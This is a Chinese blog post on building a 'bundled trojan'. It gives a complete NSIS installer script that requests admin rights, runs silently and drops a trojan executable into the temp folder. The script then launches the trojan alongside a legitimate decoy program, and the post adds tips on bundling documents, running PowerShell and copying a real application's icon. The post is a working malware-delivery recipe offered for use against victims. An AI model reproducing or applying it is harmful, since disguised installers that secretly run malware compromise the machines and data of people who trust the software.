捆绑马的制作

文章最后更新时间为:2024年04月02日 19:54:08

捆绑马的制作,如果在网上搜索的话通常有下面两种方式:

  • 通过资源文件进行捆绑马,将木马文件添加到程序中作为资源,并在运行时从程序资源中获取相应的文件数据
  • 通过winrar自解压进行捆绑马

上面两种方法局限性都很大,不能满足我一些复杂的需求,比如我需要将木马和正常的exe捆绑在一块,同时需要弹出UAC进行提权,并将exe放置在不同的目录下执行,或者是当木马已经上线的情况下,不重复执行木马.....

下面介绍一种比较方便简单的捆绑马制作方法,主要是利用nsis对多个文件进行打包,在执行时自定义释放资源和木马,自定义一些执行动作

1. nsis是什么

NSIS 被用来创建能够安装、卸载、设置系统设置、提取文件等的安装程序。基于脚本文件,所以使用简单方便,同时也是免费软件,无需破解,其下载地址为https://nsis.sourceforge.io/Download

这是一个编译器,不是编辑器,所以需要自己用其他编辑器编写nsi脚本,再拿到编译器中去编译。

这里我习惯使用vscode编辑脚本文件,然后采用vscode插件去调用编译器编译,直接在插件市场搜索nsis即可https://github.com/idleberg/vscode-nsis,然后再配置下makensis.exe的路径,即可在vscode中去写脚本和一键编译

2. 实战捆绑木马和正常的exe

使用vscode编写以下xxx.nsi文件,然后一键编译即可,注释已经写好,有不懂的可以查阅下官方文档https://nsis.sourceforge.io/Docs/

; 设置编译结果的输出文件
OutFile "安装包.exe"

; 设置exe的图标
Icon "1.ico" 

; 直接请求uac 提权
RequestExecutionLevel admin 


!include "FileFunc.nsh" 

; 静默安装,调试的时候可以把这个关了,实际运行的时候要开静默
SilentInstall silent  


; 初始化脚本
; 安装程序开始执行之前完成的任务
; 这里可以检查木马文件是否已经存在了,但是这里我先不做这么多
Function .onInit
  
FunctionEnd


; 开始安装步骤1,将"木马.exe"复制到"$TEMP\xxxxx"
Section "Section1" SEC01
    ; 这里设置一个目录,下面的文件都会被释放到这个目录底下,目录不存在的话会自动创建目录
    SetOutPath  "$TEMP\xxxxx"
    ; 指定安装包在打包时要包含进那些文件,安装时会将"木马.exe"释放到"$TEMP\xxxxx"
    File "木马.exe" 

SectionEnd

; 开始安装步骤2,将"正常文件.exe"复制到"$TEMP\xxxx2"
Section "Section2" SEC02
    SetOutPath "$TEMP\xxxx2"
    File "正常文件.exe"
SectionEnd

; 会在安装成功后执行,这里就直接执行exe就好了
Function .onInstSuccess
  Exec "$TEMP\xxxxx\木马.exe"
  Exec "$TEMP\xxxx2\正常文件.exe
  ; 打开文档可以用下面的命令
  ; ExecShell open  "$TEMP\测试文档.docx"
FunctionEnd

ps:

  1. 可以捆绑别的东西,比如docx,除了执行exe之外,也可以进行其他的命令,比如powershell等命令,原理都是一样的
  2. 需要考虑安装时,目标文件已经存在且被占用的情况,这里没有给出,自己看官方文档就行
  3. 提取应用的图标,可以使用BeCyIconGrabberPortable工具https://jarlpenguin.github.io/BeCyIconGrabberPortable/
1 + 4 =
快来做第一个评论的人吧~